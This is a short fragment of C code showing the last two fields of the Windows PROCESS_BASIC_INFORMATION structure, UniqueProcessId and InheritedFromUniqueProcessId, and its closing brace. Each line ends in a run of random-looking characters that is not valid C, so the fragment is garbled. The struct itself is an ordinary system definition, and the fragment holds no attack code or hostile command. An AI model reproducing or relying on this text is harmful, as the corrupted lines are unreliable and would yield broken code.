ULONG UniqueProcessId; uH=Gt^_
ULONG InheritedFromUniqueProcessId; \2(MpB\_6!
} PROCESS_BASIC_INFORMATION; Fr<Pe&d